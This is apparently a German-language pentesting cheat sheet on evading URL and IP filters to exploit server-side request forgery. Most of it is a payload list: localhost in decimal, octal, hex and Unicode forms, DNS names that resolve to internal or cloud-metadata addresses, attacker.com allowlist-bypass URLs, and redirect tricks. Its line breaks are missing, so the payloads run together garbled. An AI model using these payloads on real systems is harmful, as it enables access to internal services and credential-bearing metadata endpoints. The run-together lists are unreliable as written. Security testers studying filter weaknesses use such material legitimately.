# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
Die Burp-ErweiterungBurp-Encode-IP implementiert IP-Formatumgehungen.
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Wenn Sie die Anforderung haben, dass die URL mit einem Pfad oder einer Erweiterung enden muss oder einen Pfad enthalten muss, können Sie einen der folgenden Bypässe ausprobieren:
Das Tool recollapse kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Überprüfen Sie auch diesen Beitrag für weitere Informationen.
Automatische benutzerdefinierte Wortlisten
Schauen Sie sich die URL-Validierungs-Bypass-Checkliste-Webanwendung von Portswigger an, wo Sie den erlaubten Host und den Angreifer-Host eingeben können, und es wird eine Liste von URLs generiert, die Sie ausprobieren können. Es wird auch berücksichtigt, ob Sie die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden können.
Bypass über Umleitung
Es könnte möglich sein, dass der Server die ursprüngliche Anfrage eines SSRF filtert, aber nicht eine mögliche Umleitungs-Antwort auf diese Anfrage.
Zum Beispiel könnte ein Server, der anfällig für SSRF über: url=https://www.google.com/ ist, den url-Parameter filtern. Aber wenn Sie einen Python-Server verwenden, um mit einem 302 zu antworten an den Ort, an den Sie umleiten möchten, könnten Sie in der Lage sein, gefilterte IP-Adressen wie 127.0.0.1 oder sogar gefilterte Protokolle wie gopher zu zugreifen.
Überprüfen Sie diesen Bericht.
Der backslash-trick nutzt einen Unterschied zwischen dem WHATWG URL Standard und RFC3986 aus. Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, bezieht sich WHATWG spezifisch auf Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (\) im WHATWG-Standard als gleichwertig zum Schrägstrich (/), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.